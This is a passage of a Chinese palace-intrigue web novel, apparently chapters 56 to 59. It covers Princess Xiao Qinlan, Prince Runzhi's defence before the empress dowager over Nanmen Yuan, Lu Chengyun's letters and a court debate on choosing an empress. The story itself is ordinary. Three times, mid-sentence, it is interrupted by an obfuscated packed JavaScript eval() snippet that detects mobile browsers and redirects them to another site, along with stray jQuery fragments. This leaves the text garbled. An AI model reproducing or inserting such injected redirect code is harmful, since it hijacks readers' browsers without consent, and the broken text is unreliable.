萧沁澜含笑瞥了她一眼，“淑妃确乎愚钝，无论何话都敢接，何话都敢回怼。本宫许久未曾遇到这般愚笨之人了，午后观戏时心中畅快，不觉间多饮了几盏茶水，多食了几块点心，现在腹中胀满，未曾消食，自然无法再进其他。
总不能让御膳房费心烹制一桌佳肴，却又撤去扔掉吧？”
“原来如此。”本采心中登时释然。
她点了点头，却又摇了摇头，“祥妃还算有些心机，但终究被宠溺过度，在这宫闱之中急于树立权威。依着今日看来，不过皆是些外强中干之辈，纸老虎罢了。”
“你错了。”
萧沁澜语气平和，警醒道：“祥妃在外界的名声虽不显赫，但也并非糟糕透顶。若本宫事先未将她所做的某些恶行公之于众，那么今日你若不知情，你是否还会那样看待她？最多只会觉得祥妃行事正义，不偏不倚，且对陛下情深意重，带着些小女儿的纯真心思。”
确实是这个理，本采望着自家主子，陷入沉思。
“人心险恶，难以捉摸。若能明了人心，提前知晓操控尖刀之人出自谁手，便能洞察一切细微之处，从而抢占先机，赢得最终的胜利。”
碗中的羹汤已散去热气，微微发凉。
萧沁澜端起碗来，几口饮尽，随后将碗递给她，吩咐道：“准备热汤沐浴，除了暗卫之外，其他人不必守夜。”
本采捧着瓷碗，迟疑片刻，终还是鼓起勇气说道：“主子实在不必将自己逼得太过紧迫。
想要成为女帝，并让天下的平民都能婚嫁自由。让文臣武将没有性别之差，甚至让将领在外时可根据实际情况灵活应变，不必完全受制于君命……这些想法本就如同天方夜谭，前所未有，后人也难以企及。
主子所拥有的一切已经很好，其余的事情还是慢慢来吧。”
成为女帝？
萧沁澜从未有过这样的念头，也不愿承担这样的重任，任由后人随意评说或指摘。
哪怕皆是赞美之词。
她眉眼微弯，“本宫知道了。今日天气寒冷，你也回去休憩吧。”
＆
几日之后，天色晴朗，万里无云。
萧沁澜正埋首于内务府送来的繁复账本之中，忽听下人禀报，说是太后有请。
她抬眼望向窗外那明媚的天色，纤细的眉毛微微蹙起，“太后今日不去乾清宫批阅奏折吗？”
下方的宫娥低垂着眼眸，恭敬地行礼回禀，“听闻是醇亲王今日入宫，特意询问公主殿下的近况，故而太后派遣琉薇姑娘前来传唤。”
“润知来了？”萧沁澜放下手中的账本，垂眸抿了口茶水。
确实有一段时间未见了，他此次贸然进宫，定是有何要事。
宫中的人事往来总是那么几个，账本中也不过是些陈芝麻烂谷子的事情。
四四方方，不可出宫，就连御花园里的花儿，都看得有些腻了。
她握紧了手中的暖炉，站起身来，“走吧，去慈宁宫。”
说着，便乘上了轿辇，一路兜兜转转，平安抵达了慈宁宫外。
甫一掀开帘子，便看到坐在凳上满脸严肃的润知，以及跪在地上低声呜咽的淑妃。
萧沁澜微微眯起眼睛。
什么情况？
他们二人何时有了联系？
难不成是淑妃告发某人秽乱后宫？
太后坐在书案之后，手中不停地转动着佛珠，听到动静，只是不咸不淡地说了句“贤昭来了”，神情看不出喜怒。
蔫润知瞬间起身，眼神黏在她身上，半点儿都舍不得移开，语气带着明显的雀跃，“沁澜……”
萧沁澜朝他笑了笑，礼数周到，依着长幼尊卑，向太后与淑妃行礼后，这才询问缘由。
“这便要问淑妃娘娘，她到底命令兴安伯做了什么！”蔫润知满脸怒气，指着地上的人义愤填膺。
看来确有正事，并非莫名喊自己前来谈笑。
萧沁澜顺着他再次询问，自淑妃抽抽噎噎、断断续续的哭泣声中得到原委。
本应该好好送回府的南门鸢，竟然跑到了润知府上。
这事说到底，她是知晓的，也默认了。
润知秉性善良，却并非烂好人。
“事后呢？”萧沁澜故作惊愕，“润知今日进宫，具体是为了何事？跟南门姑娘有关？”
明远太后闭目养神，手中佛珠缓慢转动。
“她……”蔫润知抬眸快速看了萧沁澜一眼，嘴唇嗫嚅，却怎么也说不出口。
“……关乎女子名节？”萧沁澜猜测着，想来也无其余事能让他左右为难。
果不其然，此话一出，跪着的淑妃倒是率先冷嗤。
“臣妾来到宫中不过短短几日，尽心尽力侍候陛下，哪里有时间能传出口谕，让父亲对妹妹动用家法呢？”
“何种家法能让醇亲王亲自入宫，向太后禀报？”萧沁澜寻了个位置坐下，垂眸俯望着地上那衣着精致的女子……
或者说妇人更为贴切些。
萧墨凌还真是雨露均沾，将两位女子呵护得如此娇嫩。
再怎么厌恶，对待长相美丽的异性也能下得去手。
也不知那些男人到底是怎样做到的。
陆承韫若做了此类恶心事，即便长相再符合自己审美，视线亦不会对其多停留半分。
若她与萧墨凌换位而处之，面对太后强行塞人，大不了直接杀了。
这点子小事，双方会各自兜下来。
萧墨凌却选择了接手，未曾放弃外戚势力。
人心不足蛇吞象。
还想要让自己成为皇后，得臣子看重，啧……
淑妃作为长辈，对萧沁澜这种
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495886|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
高高在上的询问尤为不满。
今时不同往日，她并非区区郡主。
“太后，臣妾昨夜劳累，能否……”
“起来吧。”明远太后睁开了双眼，抬了抬指尖，示意她起身。
话语落下，慈宁宫内的太监迅速搬来了圈椅。
淑妃顺势娇滴滴地坐了下来，用手帕轻轻擦拭眼角挤出的泪水，嗲着嗓音道：“臣妾实在不知醇亲王为何会突然进宫，没有确凿的证据就这样污蔑臣妾。
臣妾的父亲是个男子，臣妾又怎么可能去干预他的决定呢？
这样的言论好没道理，臣妾恳请太后严查此事，还臣妾一个清白之名。”
这声音直透心脏，让萧沁澜泛起阵阵寒颤。
好家伙，短短几夜，便被调教得这般娇滴滴，萧墨凌的手段果真不可小觑。
明远太后显然也受不了这番语调，及时制止，偏头望向一侧，“贤昭刚来，她如今掌管后宫一切事物。宫人如何行动，册子上皆有记载。润知，你与贤昭说吧。”
“太后，臣……”
“哀家明白！你且先静心。”明远太后不耐道，连神情都懒得掩饰。
萧沁澜唇角微勾，得到应允，回了声“是”。
“南门姑娘特意去寻你，你便因此留下了她？”
听罢此话，蔫润知急忙侧过身体，正对着她，双手端正地搁在膝盖上，眼神中透露出极度的真诚，
“我实在是没办法。她当时带着一身鞭伤，脸上是清晰的巴掌印，肿得厉害。除此之外，还握着一杯几乎未剩多少的毒酒。就这样一路跌跌撞撞地跑到了醇亲王府，我总不能坐视不管。”
“毒酒？”萧沁澜瞥了眼淑妃，“这般胆大？官员府中即便要赐死婢女，亦会遭到御史弹劾。”
“事后我将司空喊来检查过了，那毒酒并非是要人性命的那种，也并非是给南门姑娘准备的。”
“噢，那便是赏赐给兴安伯侍妾的了。”
“嗯……”
蔫润知懊恼地搓了搓手心，“南门姑娘一直深居闺阁，除了司空与承韫之外，并无其他相识之人。
可谁知她却这般光明正大地进了醇亲王府，沿途还有诸多多百姓看到，我真是有理都说不清。”
这南门鸢是铁了心要嫁给润知啊。
“所以呢？此事与你今日进宫有何联系？你为何会焦急地来寻我？”
见她悄然揭过此事，似乎一点儿都不在乎，蔫润知原本提起来的那份愉悦心情瞬间如重物落地，狠狠地砸在地面上，被反复碾碎研磨。
早该习惯忽视的。
他垂下眼帘，语气低落，欢喜一扫而空，“这几日，南门姑娘一直待在醇亲王府养伤。
兴安伯因着家中有喜事，未曾在意她的行踪。
前天一大早，伯爵府却忽然派人前来请南门姑娘回去。
男女有别，我不好久留她于府中，便让侍女前去劝解。
可她非要闯入后院寻我，跪在地上祈求许久，言辞恳切。我只能派人去请承韫与司空前来见证。
谁知刚刚派下人出去，南门姑娘便瞬间安静下来。整整一日，也不知她与伯爵府下人说了什么。”
“然后呢？”
“然后……南门姑娘说要谢谢我，亲自做了晚膳……”
明白了，下药，中招了。
真是好大的闷亏。
不过看他这幅正气凛然、仿佛能颐指气使的模样，大约是强行忍耐，未曾做出逾矩之事。
“我真的没碰她，什么都没做！”蔫润知并起双指对天发誓，“你信我！”
57. 第 57 章
腊月时分，天穹常呈灰蒙之色，犹如稀疏的泼墨渲染。
寒风凛冽，卷起屋檐残雪，飘飘洒洒，落于慈宁宫殿外的小径，旋即被宫娥清扫干净，以免惊扰了某位主子。
慈宁殿内气氛异常，空气中弥漫着难以名状的诡异古怪。
蔫润知出口的言辞直白且迅速。
身为宗室子弟，却是为了保全一名毫不相干的官家女子清白，毅然决然指天发誓。
在场几人皆心知肚明他是为谁。
淑妃更是直直凝视着首位右侧的萧沁澜，眼中盈满了愕然与嫉妒。
贤昭公主究竟有何德何能，竟能让一个男子忠贞至此！不仅从未有过通房丫鬟，更在那种情境下……
她的庶妹看似无害，实则心机深沉。即便受重罚，也一声不吭。
能让醇亲王进宫向太后娘娘告状，那迷情药的药效必是猛烈异常，非舒缓或是交缠难以恢复。
醇亲王的心志坚定，位高权重而痴情不该，简直世间罕有！
淑妃撇了撇嘴，心有不甘。
陛下对她的容貌与才艺甚是喜爱，可近几日陛下雨露均沾，对各宫不偏不倚，令她既愤慨又无奈。
若陛下能有醇亲王半分的忠贞不渝，她该是何等幸福之人！
萧沁澜亦未曾料到润知会这般直白，但他终是有了分寸，指天发誓时，目光仅望向太后，并未直接朝向自己。
很好，这便是成长的第一步，若他日后登上了高位，自己便无需过于费心了。
只需忍耐一年，便可达成最终目的。
一年！
见无人回应，蔫润知再次朗声道：“本王曾受太祖皇帝亲自教诲，知晓轻重缓急。那夜有王府下人亲自动手制止，本王以姓氏担保，绝对、从未做过毁坏女子清白之事。”
“谁又能得知其中真相呢？”淑妃斜睨了他一眼，故意挑剔道：“醇亲王府上下皆心里向着王爷，区区一个下人的供词如何能作为凭证。再者，那等药物，本宫实在不相信男子能经受得住。”
“又不是致命毒药，何以经受不住？”蔫润知理直气壮地反驳，随即又偷瞄了眼旁侧，补充道：“自然，我也未曾去找其他人。”
“哼，难不成堂堂醇亲王府，竟连个丫鬟都不愿亲近王爷吗……”
“好了……”明远太后语气淡然无波，平静地打断了二人的争执，微微抬起眼眸，“淑妃身为后宫妃嫔，一言一行皆代表着皇家颜面，需时刻谨慎。现在可并非在兴安伯府之中。”
“……是，臣妾定当铭记于心。”
初入宫廷，周遭多是不怀好意之人。
淑妃的神色瞬间变得庄重，起身恭敬地行了一礼。
“润知亦当慎言慎行。”明远太后拨弄着手中的佛珠，“所幸这事仅有少数人知晓。否则，就算你未曾发生关系，也必须被迫接纳那名女子。”
“润知此番前来，就是这个意思。”
蔫润知袍角一掀跪地，腰背挺得笔直，“南门姑娘乃沁澜所救，此前臣与她并不相熟。
然而女子势弱，加之前几日南门姑娘毫不避讳，带着一身伤痕公然来到醇亲王府。
若昨夜之事被大肆宣扬，臣不知会做出何种举动。但绝对不会同意。
可南门姑娘在兴安伯府过得凄苦。两条人命，臣又不能视而不见。
后宅争风吃醋之事，陛下不便直接插手。因此润知特意前来，请太后娘娘设法相助。”
“大胆！”
淑妃闻言顿时起身，纤细的手指颤抖地指着他，怒气冲冲道：“醇亲王这是在诬告本宫的父亲枉顾人命，母亲随意践踏官家小姐吗？你可知状告伯爵是何等严重的罪过？”
“本王乃当朝唯一亲王！”
蔫润知侧首睨着她，语气铿锵有力，毫不留情，“区区伯爵府，若非本王生性纯善，随便说出一种罪过便能让兴安伯全族覆灭。淑妃娘娘既已入宫，还是好好恪守宫规，莫要对朝堂之事指手画脚。”
“好好好……”淑妃被气得连连点头，脸颊都泛上了朱红。
她紧紧捏着手中的帕子，怒声道：“醇亲王这是当着太后的面在威胁本宫吗？若今日本宫偏要将事情闹大，醇亲王又打算给兴安伯爵府栽赃什么罪名呢？何不提前说出来，让公主殿下好好听听。”
“哼，吓唬谁呢。”若真闹起来，谁会被万民唾弃，那还用猜吗？虐待了那么多侍女，证据确凿，哪里需要栽赃胡编。
蔫润知满不在乎，嘀咕了一句，却并未将剩下的话说出口。
就连他这样的人都知晓那些龌龊事，亲自挑选妃嫔的太后更是了如指掌。
如果说出，那便是明晃晃打脸了。
明远太后明白他的心思，也明白他留了心眼，以此作为要挟。
只是他太过痴情而已，不打紧。
“区区小事，何至于吵吵闹闹，哀家来处理便是。既是贤昭救下的南门姑娘，那便不可怠慢，就封为……”
“太后娘娘！”淑妃不顾尊卑，圆睁着双眼直视首位。
那庶女曾被她欺压多年，如今却因顽固纠缠而获得太后的抬爱，身份一度越过她，她怎能容忍！
她可是陛下妃嫔，得太后亲自指点，怎可遭受这样的羞辱！
明远太后蹙眉瞥了她一眼，继续淡然言道：“带她入宫，留在贤昭身边，担任赞善。”
太后向来一言九鼎，这已是莫大恩赐。
蔫润知心弦稍松，连忙恭敬磕头行礼，随后起身。
“怎就成了陪读女官？她仅是庶女啊，太后……”
“够了！”明知淑妃愚钝，却屡次被她的愚言打断，简直磨人心志。
明远太后抬手制止，身子后倾倚于软枕中，“贤昭性情纯良，不容秽事。她所救之人自当无虞。”
寥寥数语，便将问题化解。
淑妃果然未负所望，眼神转瞬变得愤恨，狠狠瞪向一旁。
至此，萧沁澜已无拒绝的理由。
她起身作揖道：“儿臣思虑不周，定当为母后分忧，还望母后保重身体。”
“嗯，都退下吧，哀家乏了。”
＆
后宫深处，外男非经特许，不得擅自更易行踪。
自慈宁宫殿至门外，蔫润知步履迟缓，慢悠悠而行。
前方的萧沁澜无声叹息，刚行至走廊曲折处，便驻足回首，凝望着那一步一挪的身影。
淑妃已愤然离去，她嘴角微扬，语气温婉，“有何不妥吗？”
见她并不生气，仍对自己和颜悦色，蔫润知加快了步伐，挡在风口，眼眸微垂，“许久未见了，沁澜。”
“不过区区半月，且同在京师之中，又彼此安好，兄长何须这般的多愁善感。”
“……适才之事，其实我也有能力自己处理。”
“是，我信你。”萧沁澜顺应他心意，“兄长是想探知我过得怎样吗？今日你已亲眼瞧见了，平淡无奇，悠然自得。”
“沁澜，你内心真的自得吗？”蔫润知面色一沉，指着这宫墙，压低声音道：“我入宫除了想见你，也想瞧瞧现今宫内有了其他妃嫔，太后与陛下对你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508883|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
究竟持何种态度……”
“润知，这是慈宁宫。”
“我自是知晓。”
蔫润知放下手臂，几步上前凑近，声音低沉，一瞬不瞬，直直盯着她，“沁澜，你如今已将全部势力暴露表面，能在宫中安然无恙未被匆匆议嫁，不过是因你‘嫡公主’这个身份而已。可你过得……
我并无他意！”
他急忙解释，见她神色如常，才继续说道：“我知沁澜你有才有德、聪慧过人，但在这世道，女子总归是要嫁人的。你已近二十，相较于那些官家联姻的小姐，年龄已是不小……”
“嗯，我自知身份尊崇，那又如何？”萧沁澜浅浅一笑。
虽与她相知多年，可她的心思，蔫润知并不全然了解。
他嘴唇微动，垂眸低语：“沁澜，你应明白我心意。若你有打算，可以先考虑我吗？”
言罢，他未做停顿，“当然不必只念及我一人。你聪明绝顶，陛下的困境你也明了，说不好他会存些其他心思。你不愿与他人共享夫君的。换作是我，我自然也不愿。”
有些……娇娆造作了。
“你来宫中，莫非就是为了这事？”萧沁澜微微眯眼，“前朝或边关就没有什么变故？”
蔫润知迅速抬眸看了她一眼，然后又移开了目光，“我身为当朝唯一的亲王，虽然不必时时上朝，但也不宜频繁请假。
我站在前面，听得多，看得也多。
沁澜，隆冬即将过去，过了年节，接下来的大事便是二月份的科举了。人才选定之后，若无天灾人祸，剩下的便是如何让明昭王朝长久兴盛。”
“我明白。”萧沁澜坦然以对，“选妃。若女子不想入宫成为后妃，便得趁着春月，早早定下亲事。”
“你是公主，若你坚决不愿嫁给某人，谁也阻拦不得。”
蔫润知抿了抿唇，与她视线相交，“当然，京师及其他地方的好男儿众多。若到时候你看中了某位举子，想要纳为驸马，也并非不可。我身份特殊，若我全力上奏，陛下与太后娘娘也会同意的。”
萧沁澜静默不语，深深地望着他。
好一个深情的男儿，这让她如何忍心下手呢？
只沉默了短短几息，萧沁澜便移开了视线，看向四周平平整整的朱墙屋檐。
上面的雕刻活灵活现，却又散发着威严与高权。
“嗯，我记下了。”
＆
因着陆承韫这次任务完成得相当出色，晚膳时的定国公府内，陆泽面色和善，满面红光，还不忘勉励他要更加用心，与陛下同心协力，竭尽全力地提供帮助。
膳后西院内，元栖满脸不悦，研墨的动作变得越来越敷衍，“竭尽全力，同心同德？说得好听，其实就是让公子单方面付出，为陛下挡刀挡剑，还不能有半点退缩。”
元栖抱怨道：“奴才小时候虽然过得凄苦，但父母至少和蔼可亲，对小妹和我一视同仁。好吃的好喝的、奴才有的小妹也定然有。却不知道这深宅大院里，竟然会有如此偏颇的事情。公子可是战场上杀过敌人的堂堂男子汉……”
习惯了元栖的唠叨，陆承韫站在案几后认真写着信件，并未接话。
元栖翻来覆去吐槽着“偏颇”二字，说了个痛快。
待他停下后，好奇地看向陆承韫。
“公子是在给谁写信？又是贤昭公主吗？”
想了想，元栖点了点头，“也是，听闻今日醇亲王去了慈宁宫。近日的太和殿内，一众臣子都在催促陛下立后之事。就连奴才都明白与公主有关。”
58. 第 58 章
“两封信，一封送往边关，一封送往初语楼。”
待墨迹干透，陆承韫慎之又慎，将两封信封装妥当，递了过去。
平日里皆是由他递信，再由元栖仔细封装，今日他倒是一反常态，看来信中的内容确实非同小可。
“公子，是否需要我召集一些暗卫营的人手？”
“不必。”陆承韫垂眸沉思，缓缓坐下，“目前还只是有些线索。我大概能猜到沁澜的下一步行动。若她不愿说，那便由我亲自去查探吧。”
“是瞒着公子的行动吗？”元栖瞥了眼信封，“会对公子不利吗？”
“难以预料。”陆承韫轻敲桌面，“我能猜到她的行动，但猜不透她的目的。沁澜她……心里藏着太多事了。”
元栖对此深表赞同。
他重重地点了点头，收起那副孩子气，脸色变得严肃起来，“贤昭公主在京师发展如此庞大的势力，不仅未被人发现，且从未有人怀疑。
就连公子亦是调查初语楼许久，才有所察觉。
这样的心智，当真不是一般人能够做到的。”
“当夜有线索，当夜沁澜便来寻我。谁知那初语楼，不是她故意透露的。”
“确实！属下也觉得此事颇为蹊跷，巧合得过分。”
讲到此处，元栖顿了顿，嘴唇微动，犹豫片刻后开口提醒道：“公子，按理说贤昭公主拥有这般势力，又有多人为她倾心……”
陆承韫淡淡瞥了他一眼，元栖似乎未曾察觉，继续说道：“选谁皆可。公子并未表露任何心意，但公主殿下却偏偏选择了公子。
众所周知，定国公府树大招风，行事又过于武断，那些中立者都将其视为眼中钉，迟早欲除之而后快。
若公主殿下真有意扶持公子登基，她怎会忽视国公府的存在，怎会对那些指责之声置若罔闻？”
这番话说得直白，可确实是显而易见的事实。
陆承韫没有怪罪他，转移话题问道：“今日润知去了慈宁宫？”
“……是。”元栖撇了撇嘴，低头漫不经心地盯着地面。
问题这样重大，公子却轻描淡写地避开了，贤昭公主真是手段高明，将公子迷得死死的。
“是因为兴安伯的事情？”
“哦。”
“那个南门鸢，果真不同寻常，倒是有些古怪。”
“公子啊……”
元栖神情悲愤，一字一句道：“这种拈酸吃醋的行为，可是小女子常态。公子将来是要成就大事的！暗卫营里身手不凡的本就稀缺，真的无需再调派人手，时刻关注醇亲王的动向啊！”
“你有所不知，沁澜对润知颇为看重。”陆承韫从容不迫，整理着杂乱的桌面。
元栖上前一步帮他，仍然苦口婆心地劝诫，“公子莫要被贤昭公主迷了全部心智，至少保留几分警惕。
明眼人都看得出来，公主殿下对醇亲王格外偏爱，且醇亲王在大臣心中占有重要地位。这样的强大对手，公子就算不提防，也没必要派专人保护啊！”
原来在他心中，自己竟是个单纯无心机的大冤种。
陆承韫低声轻笑，柔声安慰道：“你跟随我许久，怎会认为我容易被摆布？你不了解沁澜，也不了解润知。她们二人皆是有洁癖之人。
沁澜心高气傲，若她对我毫无情意，是半点都勉强不得的。润知若知我二人在一起，定会黯然退出，不会打扰分毫。”
“真的吗？醇亲王不是男子吗？”
“他虽是男子，却也是动情至深的凡人。”
陆承韫停下手中的动作，遥望门外虚空，“当年我年仅十四，初见沁澜，她一袭红色劲装，骑马斩敌，英姿飒爽，又不时露出脆弱之态。这样的女子与之相处，怎可能守住心神。更何况是自小与她相伴长大的润知。
正因动情至深，故而足够知根底，能让彼此留下日后相见的机会。”
“啊？若公子将来登基为帝，迎娶公主殿下为后，醇亲王难道还要强忍悲痛，默默守候在一旁，看着帝后二人和谐美满？这实在太过惊世骇俗，简直与话本中的痴情女子一般无二。”
“或许吧。”陆承韫恢复镇定，不再谈论这些闲事，催促他先行送信，叮嘱他办事小心。
谁曾想，仅仅过了一年，这番话竟一语成谶，情况更加出乎意料。
事后，知情者再次评价，只感叹“世间情缘如同镜花水月，缥缈难寻，不可触碰。贤昭公主冷情冷心，做出了那样的事情，而原醇亲王痴情至极，竟能为了公主殿下，对至亲之人如此决绝，如此狠辣。”
＆
兴远伯后宅得一处幽僻小院，四周荒凉冷落，无一丫鬟仆从，布置虽简朴至极，打眼望去，亦整洁有序。
“鸢儿……”妇人握着床上女子粗糙的手心，眼中泛起薄雾，心痛如绞，浑身乏力，只能勉强支撑神志，柔声呼唤不已，“鸢儿……”
自醇亲王府接回女儿，不过一日一夜，夫人便伺机而动，将女儿殴打至无法自理，卧床不起。
人群散去后，无人顾及她们母女，妇人身子单薄，却毅然抱起自家女儿，不曾停歇地走回院落。
此刻她不知是否因疲惫至极，只想闭上双眼，安然入睡，从此不再醒来，再也免受打扰。
可眼下女儿尚需照料，她必须支撑下去，不能让女儿失去依靠。
……
南门鸢自幼便饱受虐待，但只要未伤及心脉，她总能留一口气息，悠悠转醒。
后半夜子时刚过，屋内冷清异常，仅有几床棉被添了些许暖意。
南门鸢那强大的求生意志，使她缓慢睁开双眼，身上的酸痛却如潮水般涌来，将她彻底淹没。
她感觉不到外界的半分气息，也听不到任何声音，只觉得头脑中“嗡嗡”作响，如同蜂鸣。
过了许久，她才勉强发出低低喘息，神识逐渐清明，似梦初觉。
“鸢儿醒了？”
这种场景已发生过无数次，妇人静待片刻，便立即察觉出她的不同寻常，兴高采烈地匆匆倒了杯热茶，坐在床沿，将她扶起后，小心翼翼地喂她喝下一杯温茶水，又垫了几个软枕，取来一碟还冒着热气的糕点，递到她唇边。
“娘亲刚刚从厨房取来的，这糕点入口即化，你身子虚，先垫垫肚子。”
温水入胃，南门鸢感觉轻松许多。
她靠在柔软舒适的床头处，侧眸看向那风韵犹存、美貌不减的妇人，哑声道：“你去寻父亲了。”
“先食些糕点。”
妇人未予回应，径直将糕点塞入她口中，待她咽下一口后，方细细解释道：“夫人心性善妒，她的女儿素来不喜容貌清俊的女子。伯爵府内久无外人，侯爷亦不敢外出寻欢，只要娘亲主动，侯爷自不会拒绝。”
“若夫人知晓，明日你会受刑罚。”南门鸢语气平静如水，目光一瞬不瞬。
“无妨，娘亲自有分寸，必不留下疤痕，亦不耽误侍奉侯爷。”妇人满不在乎，继续小心翼翼地喂她糕点。
南门鸢偏头避开，深深望着她，“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519438|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你本不喜此地，亦不喜侯爷。若想离去或寻短见，总有办法如愿。何必虚情假意？”
“娘亲若逝，鸢儿又岂能独活？”妇人放下糕点，轻叹一声，用那只洁净的手心，温柔抚摸着她干净整洁的长发。
“娘亲昔日不幸，乱世之中身受污辱。
可因这张面容被兴安伯看中，本想一死了之，却意外有了你。
彼时娘亲尚存一丝希望，还以为是上天之怜悯，梦想含饴弄孙，安然老去。岂料夫人出身名门，却心性善妒，跋扈异常，连累鸢儿随娘亲一同受苦。
若时光能倒流，娘亲宁愿随你外公离去，以求团圆。
那样也不必相隔万里，即便死后亦无法相见啊。”
这还是她首次吐露心声，大约是身体痛楚难当，南门鸢眼前视野渐模糊，她抿着嘴唇，待情绪平复方淡然开口，“娘亲，鸢儿饿了。”
“……都怪娘亲提及往事，忘了我们鸢儿已一日未进食。”妇人忙端起小碟，捏起一块糕点递给她，“幸好尚温，此时食用正好，鸢儿多吃些。”
南门鸢并未推辞，亦未故作情深劝她多食。
一碟糕点不多，很快便被她食尽，妇人又为她倒了一杯温水。
待她吃饱喝足，鞭伤之痛愈发难忍，南门鸢强自镇定，握住妇人之手郑重言道：“娘亲再忍耐些时日，我们很快便能脱离此苦海。”
“鸢儿所言，是指……醇亲王吗？”妇人忆起当时鞭打时，夫人的冷嘲热讽，历历在目。
可她们身份卑微，怎能配得上堂堂亲王。
南门鸢看出她的担忧，捏了捏她的手心，“娘亲勿忧，醇亲王与兴安伯不同，他手握权柄，且心地善良。”
“我的鸢儿生得如此出众，娘亲并不担忧。但夫人那里……”
“无需太久，再过两月有余，我们便能逃离这座府邸了。娘亲，这两个月你定要保重身体。”
“鸢儿之言，娘亲自是深信不疑。”话虽至此，妇人面上的忧色仍未消散。
她们皆在这深宅内阁中蹉跎了半生，对前朝大事一无所知啊……
“上次你重伤高烧不退，烧了整整两天。娘亲好不容易求着侯爷，为你请来大夫，可大夫却说……要为你准备后事。”
妇人拭去滑落的泪水，哽咽道，“娘亲当时心如死灰，却又觉得神志清明。心想这样也好，我们二人早早解脱，也算上天眷顾。后来你忽然转醒，高烧奇迹般褪去，娘亲真是喜出望外……”
听罢此话，南门鸢眼神微眯，若有所思。
妇人又道：“但自从那次醒来，你便日夜不停地暗中打探醇亲王消息。鸢儿，你告诉娘亲，你果真喜欢醇亲王吗？”
南门鸢神情自若，“娘亲与我皆是尘世中的凡夫俗子，微末之人。能够苟全性命便已是大幸，哪里还敢谈喜好。”
“鸢儿莫非对醇亲王并无好感？那为何煞费苦心，甚至不惜损毁自身声誉？”
“娘亲，你只管信任我。”
南门鸢并未直接回答，“世事无常，难以预料。如今虽看似大局已定，但内里暗流涌动，非常人所能察觉。
醇亲王乃人中龙凤，他的人品无论过往……还是现在，皆值得信赖。我的处境他已了然于胸，相信不出几日，我们便能安然度过这两个多月。”
“两个多月？这个时间有何特殊之处？”
“特殊之处？”南门鸢身体后倾，倚于软枕之中，“世事如棋，万物随之起伏。可无论局势怎样变幻，我皆信奉上天。天意终难违！”
59. 第 59 章
岁末将至，自新帝登基以来，朝野上下未有动荡，足见新帝得天独厚，乃天命所归。
京师之中愈加繁忙，各地奏报如雪片般飞来。
天色初明，太和殿内，内阁首辅、文华殿大学士庆如韩手持玉笏板，步履稳健地上前一步，恭恭敬敬禀报着最近的所闻所得，
“启奏陛下、太后娘娘，今岁天下太平，百姓安居乐业，五谷丰登，各地贸易亦是繁华异常。虽有雪灾侵扰，但赈灾得力，并无暴民伤人之事发生。此乃陛下与太后娘娘圣德广布，天佑我明昭王朝之征兆！”
龙椅之上的萧墨凌颔首淡笑，对于这般有才学之人的吹捧之词，自是心生欢喜。
一番你来我往的例行公事后，话题转到了明年的水利建设与农业发展上，顺带还提及了边防布局，各位大臣齐齐发表见解，殿内一片热议。
庆如韩接着道：“陛下、太后娘娘，明昭王朝政治清明，各部门皆按部就班，秩序井然。
如今乡试已过，各方士子已前往京师，准备明年的科举大事。然求学之路艰难，地方偏颇又穷苦的人才不在少数。
微臣恳请陛下拨款资助，修建慈善学堂，以节省读书费用，让天下有志之士皆能加入朝廷。如此，野无遗贤，珊瑚在网，方可不遗漏半分人才。”
此言甚是有理，确实是国之大事。
但前期所需银两甚巨，且投入如无底之洞，难以估量。
怎样利用有限的拨款，做出最有效的改动，并非一朝一夕能办到的，亦非轻易答应便能实现之事。
萧墨凌沉吟片刻，缓缓开口道：“卿之所言合情合理，朕心甚慰。然此事后续繁杂，需仔细商议方能做出决断。朕会将其记下，待下朝之后，再与诸位大臣共同探讨，以求最佳之策。”
话音落下，又等了片刻，身边大太监依着惯例，开始唱合道：“有事起奏，无事退朝。”
左都御史阎全启稳步上前，躬身行礼道：“微臣有事启奏。”
得了应允，他继续道：“后宫空虚，选秀一事乃国之根本，不可忽略。微臣以为，陛下应当挑选贤良淑德、秀外慧中的女子，充实后宫，以彰显皇家威严。”
萧墨凌颔首问道：“喔，卿以为，何为贤良淑德？朕又该如何选之？”
不待他回答，庆如韩再次站出，“后妃一事并不急迫。现下当务之急乃是选定母仪天下的皇后人选。此人选需德才兼备，为后宫表率，引领后宫风气。”
此言一出，珠帘之后的明远太后微微眯眼，目光审视，“看来首辅大人心中已有成算。却不知是哪家女子，竟能让首辅另眼相看，生出推荐之意。”
庆如韩能做到内阁首辅这个位置，多因他的才能过人，且历经前朝腐败，一心一意为明昭王朝的万年发展所打算，并无半点私心。
听罢太后之言，他未曾理会其中的深意，只是俯身，脸上的皱纹为他的风骨添了一抹贤良，更显稳重。
